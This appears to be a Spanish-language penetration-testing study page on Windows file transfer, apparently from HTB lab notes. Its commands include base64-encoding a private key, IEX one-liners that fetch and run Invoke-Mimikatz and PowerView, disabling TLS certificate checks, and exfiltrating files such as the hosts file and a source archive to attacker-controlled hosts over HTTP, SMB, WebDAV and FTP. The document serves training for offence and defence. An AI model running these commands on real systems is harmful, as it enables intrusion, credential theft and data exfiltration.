Windows File Transfer Methods

El sistema operativo Windows ha evolucionado en los últimos años, y las nuevas versiones vienen con diferentes utilidades para las operaciones de transferencia de archivos. Comprender la transferencia de archivos en Windows puede ayudar tanto a los atacantes como a los defensores. Los atacantes pueden utilizar varios métodos de transferencia de archivos para operar y evitar ser descubiertos. Los defensores pueden aprender cómo funcionan estos métodos para supervisar y crear las políticas correspondientes para evitar ser comprometidos. Utilicemos la publicación del blog Microsoft Astaroth Attack como ejemplo de una amenaza persistente avanzada (APT).

Download Operations

PowerShell Base64 Encode & Decode

md5sum id_rsa

4e301756a07ded0a2dd6953abf015278  id_rsa

cat id_rsa |base64 -w 0;echo

PS C:\htb> [IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFsd0FBQUFkemMyZ3RjbgpOaEFBQUFBd0VBQVFBQUFJRUF6WjE0dzV1NU9laHR5SUJQSkg3Tm9Yai84YXNHRUcxcHpJbmtiN2hIMldRVGpMQWRYZE9kCno3YjJtd0tiSW56VmtTM1BUR3ZseGhDVkRRUmpBYzloQ3k1Q0duWnlLM3U2TjQ3RFhURFY0YUtkcXl0UTFUQXZZUHQwWm8KVWh2bEo5YUgxclgzVHUxM2FRWUNQTVdMc2JOV2tLWFJzSk11dTJONkJoRHVmQThhc0FBQUlRRGJXa3p3MjFwTThBQUFBSApjM05vTFhKellRQUFBSUVBeloxNHc1dTVPZWh0eUlCUEpIN05vWGovOGFzR0VHMXB6SW5rYjdoSDJXUVRqTEFkWGRPZHo3CmIybXdLYkluelZrUzNQVEd2bHhoQ1ZEUVJqQWM5aEN5NUNHblp5SzN1Nk40N0RYVERWNGFLZHF5dFExVEF2WVB0MFpvVWgKdmxKOWFIMXJYM1R1MTNhUVlDUE1XTHNiTldrS1hSc0pNdXUyTjZCaER1ZkE4YXNBQUFBREFRQUJBQUFBZ0NjQ28zRHBVSwpFdCtmWTZjY21JelZhL2NEL1hwTlRsRFZlaktkWVFib0ZPUFc5SjBxaUVoOEpyQWlxeXVlQTNNd1hTWFN3d3BHMkpvOTNPCllVSnNxQXB4NlBxbFF6K3hKNjZEdzl5RWF1RTA5OXpodEtpK0pvMkttVzJzVENkbm92Y3BiK3Q3S2lPcHlwYndFZ0dJWVkKZW9VT2hENVJyY2s5Q3J2TlFBem9BeEFBQUFRUUNGKzBtTXJraklXL09lc3lJRC9JQzJNRGNuNTI0S2NORUZ0NUk5b0ZJMApDcmdYNmNoSlNiVWJsVXFqVEx4NmIyblNmSlVWS3pUMXRCVk1tWEZ4Vit0K0FBQUFRUURzbGZwMnJzVTdtaVMyQnhXWjBNCjY2OEhxblp1SWc3WjVLUnFrK1hqWkdqbHVJMkxjalRKZEd4Z0VBanhuZEJqa0F0MExlOFphbUt5blV2aGU3ekkzL0FBQUEKUVFEZWZPSVFNZnQ0R1NtaERreWJtbG1IQXRkMUdYVitOQTRGNXQ0UExZYzZOYWRIc0JTWDJWN0liaFA1cS9yVm5tVHJRZApaUkVJTW84NzRMUkJrY0FqUlZBQUFBRkhCc1lXbHVkR1Y0ZEVCamVXSmxjbk53WVdObEFRSURCQVVHCi0tLS0tRU5EIE9QRU5TU0ggUFJJVkFURSBLRVktLS0tLQo="))

PS C:\htb> Get-FileHash C:\Users\Public\id_rsa -Algorithm md5

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
MD5             4E301756A07DED0A2DD6953ABF015278

PowerShell Web Downloads

Method

Description

OpenRead

Devuelve los datos de un recurso como un Stream .

OpenReadAsync

Devuelve los datos de un recurso sin bloquear el hilo que lo llama.

DownloadData

Descarga datos de un recurso y devuelve una matriz de bytes.

DownloadDataAsync

Descarga datos de un recurso y devuelve una matriz de bytes sin bloquear el hilo de llamada.

DownloadFile

Descarga datos de un recurso a un archivo local.

DownloadFileAsync

Descarga datos de un recurso a un archivo local sin bloquear el hilo de llamada.

DownloadString

Descarga una cadena de un recurso y devuelve una cadena.

DownloadStringAsync

Descarga una cadena de un recurso sin bloquear el hilo que la llama.

File Download

PS C:\htb> # Example: (New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
PS C:\htb> (New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')

PS C:\htb> # Example: (New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
PS C:\htb> (New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'C:\Users\Public\Downloads\PowerViewAsync.ps1')

PowerShell DownloadString - Fileless Method

PS C:\htb> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')

PS C:\htb> (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX

PowerShell Invoke-WebRequest

PS C:\htb> Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1

Common Errors with PowerShell

Esto se puede evitar utilizando el parámetro -UseBasicParsing.

PS C:\htb> Invoke-WebRequest https://<ip>/PowerView.ps1 | IEX

Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
At line:1 char:1
+ Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/P ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
+ FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand

PS C:\htb> Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX

Otro error en las descargas de PowerShell está relacionado con el canal seguro SSL/TLS si el certificado no es de confianza. Podemos evitar ese error con el siguiente comando:

Métodos de transferencia de archivos de Windows

PS C:\htb> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')

Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: Could not establish trust
relationship for the SSL/TLS secure channel."
At line:1 char:1
+ IEX(New-Object Net.WebClient).DownloadString('https://raw.githubuserc ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : WebException
PS C:\htb> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

SMB Downloads

Create the SMB Server

sudo impacket-smbserver share -smb2support /tmp/smbshare

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Copy a File from the SMB Server

C:\htb> copy \\192.168.220.133\share\nc.exe

        1 file(s) copied.

C:\htb> copy \\192.168.220.133\share\nc.exe

You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.

Create the SMB Server with a Username and Password

sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Mount the SMB Server with Username and Password

C:\htb> net use n: \\192.168.220.133\share /user:test test

The command completed successfully.

C:\htb> copy n:\nc.exe
        1 file(s) copied.

FTP Downloads

Installing the FTP Server Python3 Module - pyftpdlib

sudo pip3 install pyftpdlib

sudo python3 -m pyftpdlib --port 21

[I 2022-05-17 10:09:19] concurrency model: async
[I 2022-05-17 10:09:19] masquerade (NAT) address: None
[I 2022-05-17 10:09:19] passive ports: None
[I 2022-05-17 10:09:19] >>> starting FTP server on 0.0.0.0:21, pid=3210 <<<

Setting up a Python3 FTP Server

sudo python3 -m pyftpdlib --port 21

[I 2022-05-17 10:09:19] concurrency model: async
[I 2022-05-17 10:09:19] masquerade (NAT) address: None
[I 2022-05-17 10:09:19] passive ports: None
[I 2022-05-17 10:09:19] >>> starting FTP server on 0.0.0.0:21, pid=3210 <<<

Transfering Files from an FTP Server Using PowerShell

PS C:\htb> (New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')

Create a Command File for the FTP Client and Download the Target File

C:\htb> echo open 192.168.49.128 > ftpcommand.txt
C:\htb> echo USER anonymous >> ftpcommand.txt
C:\htb> echo binary >> ftpcommand.txt
C:\htb> echo GET file.txt >> ftpcommand.txt
C:\htb> echo bye >> ftpcommand.txt
C:\htb> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous

ftp> GET file.txt
ftp> bye

C:\htb>more file.txt
This is a test file

Upload Operations

PowerShell Base64 Encode & Decode

Encode File Using PowerShell

PS C:\htb> [Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))

IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2luZG93cy4NCiMNCiMgVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KIyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFsIGxpbmUuIFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhlIGZpcnN0IGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0IG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgaG9zdCBuYW1lIHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25lDQojIHNwYWNlLg0KIw0KIyBBZGRpdGlvbmFsbHksIGNvbW1lbnRzIChzdWNoIGFzIHRoZXNlKSBtYXkgYmUgaW5zZXJ0ZWQgb24gaW5kaXZpZHVhbA0KIyBsaW5lcyBvciBmb2xsb3dpbmcgdGhlIG1hY2hpbmUgbmFtZSBkZW5vdGVkIGJ5IGEgJyMnIHN5bWJvbC4NCiMNCiMgRm9yIGV4YW1wbGU6DQojDQojICAgICAgMTAyLjU0Ljk0Ljk3ICAgICByaGluby5hY21lLmNvbSAgICAgICAgICAjIHNvdXJjZSBzZXJ2ZXINCiMgICAgICAgMzguMjUuNjMuMTAgICAgIHguYWNtZS5jb20gICAgICAgICAgICAgICMgeCBjbGllbnQgaG9zdA0KDQojIGxvY2FsaG9zdCBuYW1lIHJlc29sdXRpb24gaXMgaGFuZGxlZCB3aXRoaW4gRE5TIGl0c2VsZi4NCiMJMTI3LjAuMC4xICAgICAgIGxvY2FsaG9zdA0KIwk6OjEgICAgICAgICAgICAgbG9jYWxob3N0DQo=

PS C:\htb> Get-FileHash "C:\Windows\system32\drivers\etc\hosts" -Algorithm MD5 | select Hash

Hash
----
3688374325B992DEF12793500307566D

Decode Base64 String in Linux

b0ySie7e@htb[/htb]$ echo IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2luZG93cy4NCiMNCiMgVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KIyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFsIGxpbmUuIFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhlIGZpcnN0IGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0IG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgaG9zdCBuYW1lIHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25lDQojIHNwYWNlLg0KIw0KIyBBZGRpdGlvbmFsbHksIGNvbW1lbnRzIChzdWNoIGFzIHRoZXNlKSBtYXkgYmUgaW5zZXJ0ZWQgb24gaW5kaXZpZHVhbA0KIyBsaW5lcyBvciBmb2xsb3dpbmcgdGhlIG1hY2hpbmUgbmFtZSBkZW5vdGVkIGJ5IGEgJyMnIHN5bWJvbC4NCiMNCiMgRm9yIGV4YW1wbGU6DQojDQojICAgICAgMTAyLjU0Ljk0Ljk3ICAgICByaGluby5hY21lLmNvbSAgICAgICAgICAjIHNvdXJjZSBzZXJ2ZXINCiMgICAgICAgMzguMjUuNjMuMTAgICAgIHguYWNtZS5jb20gICAgICAgICAgICAgICMgeCBjbGllbnQgaG9zdA0KDQojIGxvY2FsaG9zdCBuYW1lIHJlc29sdXRpb24gaXMgaGFuZGxlZCB3aXRoaW4gRE5TIGl0c2VsZi4NCiMJMTI3LjAuMC4xICAgICAgIGxvY2FsaG9zdA0KIwk6OjEgICAgICAgICAgICAgbG9jYWxob3N0DQo= | base64 -d > hosts

md5sum hosts 

3688374325b992def12793500307566d  hosts

PowerShell Web Uploads

Installing a Configured WebServer with Upload

 pip3 install uploadserver

Collecting upload server
  Using cached uploadserver-2.0.1-py3-none-any.whl (6.9 kB)
Installing collected packages: uploadserver
Successfully installed uploadserver-2.0.1

$ python3 -m uploadserver

File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

PowerShell Script to Upload a File to Python Upload Server

PS C:\htb> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
PS C:\htb> Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts

[+] File Uploaded:  C:\Windows\System32\drivers\etc\hosts
[+] FileHash:  5E7241D66FD77E9E8EA866B6278B2373

PowerShell Base64 Web Upload

PS C:\htb> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
PS C:\htb> Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64

 nc -lvnp 8000

listening on [any] 8000 ...
connect to [192.168.49.128] from (UNKNOWN) [192.168.49.129] 50923
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682
Content-Type: application/x-www-form-urlencoded
Host: 192.168.49.128:8000
Content-Length: 1820
Connection: Keep-Alive

IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2luZG93cy4NCiMNCiMgVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KIyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFsIGxpbmUuIFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhlIGZpcnN0IGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0IG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgaG9zdCBuYW1lIHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25lDQo
...SNIP...

 echo <base64> | base64 -d -w 0 > hosts

SMB Uploads

Configuring WebDav Server

Installing WebDav Python modules

 sudo pip3 install wsgidav cheroot

[sudo] password for plaintext: 
Collecting wsgidav
  Downloading WsgiDAV-4.0.1-py3-none-any.whl (171 kB)
     |████████████████████████████████| 171 kB 1.4 MB/s
     ...SNIP...

Using the WebDav Python module

sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous 

[sudo] password for plaintext: 
Running without configuration file.
10:02:53.949 - WARNING : App wsgidav.mw.cors.Cors(None).is_disabled() returned True: skipping.
10:02:53.950 - INFO    : WsgiDAV/4.0.1 Python/3.9.2 Linux-5.15.0-15parrot1-amd64-x86_64-with-glibc2.31
10:02:53.950 - INFO    : Lock manager:      LockManager(LockStorageDict)
10:02:53.950 - INFO    : Property manager:  None
10:02:53.950 - INFO    : Domain controller: SimpleDomainController()
10:02:53.950 - INFO    : Registered DAV providers by route:
10:02:53.950 - INFO    :   - '/:dir_browser': FilesystemProvider for path '/usr/local/lib/python3.9/dist-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
10:02:53.950 - INFO    :   - '/': FilesystemProvider for path '/tmp' (Read-Write) (anonymous)
10:02:53.950 - WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
10:02:53.950 - WARNING : Share '/' will allow anonymous write access.
10:02:53.950 - WARNING : Share '/:dir_browser' will allow anonymous read access.
10:02:54.194 - INFO    : Running WsgiDAV/4.0.1 Cheroot/8.6.0 Python 3.9.2
10:02:54.194 - INFO    : Serving on http://0.0.0.0:80 ...

Connecting to the Webdav Share

C:\htb> dir \\192.168.49.128\DavWWWRoot

 Volume in drive \\192.168.49.128\DavWWWRoot has no label.
 Volume Serial Number is 0000-0000

 Directory of \\192.168.49.128\DavWWWRoot

05/18/2022  10:05 AM    <DIR>          .
05/18/2022  10:05 AM    <DIR>          ..
05/18/2022  10:05 AM    <DIR>          sharefolder
05/18/2022  10:05 AM                13 filetest.txt
               1 File(s)             13 bytes
               3 Dir(s)  43,443,318,784 bytes free

Uploading Files using SMB

C:\htb> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\
C:\htb> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\sharefolder\

FTP Uploads

$ sudo python3 -m pyftpdlib --port 21 --write

/usr/local/lib/python3.9/dist-packages/pyftpdlib/authorizers.py:243: RuntimeWarning: write permissions assigned to anonymous user.
  warnings.warn("write permissions assigned to anonymous user.",
[I 2022-05-18 10:33:31] concurrency model: async
[I 2022-05-18 10:33:31] masquerade (NAT) address: None
[I 2022-05-18 10:33:31] passive ports: None
[I 2022-05-18 10:33:31] >>> starting FTP server on 0.0.0.0:21, pid=5155 <<<

PowerShell Upload File

PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')

Create a Command File for the FTP Client to Upload a File

C:\htb> echo open 192.168.49.128 > ftpcommand.txt
C:\htb> echo USER anonymous >> ftpcommand.txt
C:\htb> echo binary >> ftpcommand.txt
C:\htb> echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
C:\htb> echo bye >> ftpcommand.txt
C:\htb> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128

Log in with USER and PASS first.


ftp> USER anonymous
ftp> PUT c:\windows\system32\drivers\etc\hosts
ftp> bye

PreviousTransferring Files with Code NextOtros

Last updated 9 months ago

hashtagDownload Operations

hashtagPowerShell Base64 Encode & Decode

hashtagPowerShell Web Downloads

hashtagSMB Downloads

hashtagFTP Downloads

hashtagUpload Operations

hashtagPowerShell Base64 Encode & Decode

hashtagPowerShell Web Uploads

hashtagPowerShell Base64 Web Upload

hashtagSMB Uploads

hashtagFTP Uploads

Download Operations

PowerShell Base64 Encode & Decode

PowerShell Web Downloads

SMB Downloads

FTP Downloads

Upload Operations

PowerShell Base64 Encode & Decode

PowerShell Web Uploads

PowerShell Base64 Web Upload

SMB Uploads

FTP Uploads